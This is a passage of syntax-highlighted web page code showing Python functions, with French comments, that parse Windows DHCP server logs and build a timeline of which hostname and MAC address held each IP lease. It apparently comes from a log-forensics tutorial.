plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token plain"> line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">startswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'Microsoft'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token plain"> \</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                   line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">startswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'Start'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token plain"> line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">startswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'Date'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                parts </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">split</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">','</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">7</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                event_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> event_id </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> DHCP_EVENT_TYPES</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">try</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    date_str </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">1</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    time_str </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">2</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    timestamp </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strptime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">date_str</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">time_str</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"%m/%d/%y %H:%M:%S"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">except</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ValueError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> IndexError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain">   timestamp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'event_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain">  DHCP_EVENT_TYPES</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">event_id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ip_address'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain">  parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">4</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain">    parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">5</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac_address'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> parts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">6</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">replace</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'-'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">':'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">upper</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'source_file'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> os</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">basename</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_file</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">sorted</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> key</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token keyword" style="color:hsl(356, 75%, 47%)">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">build_ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    Construire une chronologie indiquant quel nom d'hôte détenait quelle IP à quel moment.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    Essentiel pour corréler les adresses IP vues dans d'autres sources de journaux.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    """</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ip_timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> defaultdict</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">list</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ip -&gt; [(heure_début, heure_fin, nom_hôte, mac)]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    active_leases </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain">               </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ip -&gt; (heure_début, nom_hôte, mac)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> event </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        ip </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ip_address'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        hostname </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        mac </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac_address'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        ts </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'event_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'Assign'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Nouveau bail attribué  enregistrer le début</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> ip </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> active_leases</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Le bail précédent s'est terminé sans libération explicite</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                prev_start</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_mac </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> active_leases</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">prev_start</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            active_leases</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">elif</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'event_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'Release'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Lease_Expired'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Bail terminé</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> ip </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> active_leases</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_mac </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> active_leases</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">pop</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> prev_mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Fermer les baux encore actifs</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> active_leases</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">items</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># None = encore actif</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> ip_timeline</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">resolve_ip_at_time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ip_address</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> query_time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    Étant donné une adresse IP et un horodatage, retourner quel nom d'hôte détenait cette IP.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    La fonction critique pour corréler les événements réseau aux noms d'hôtes.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    """</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> ip_address </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> start_ts</span><span class="token punctuation" style="color:hsl(212, 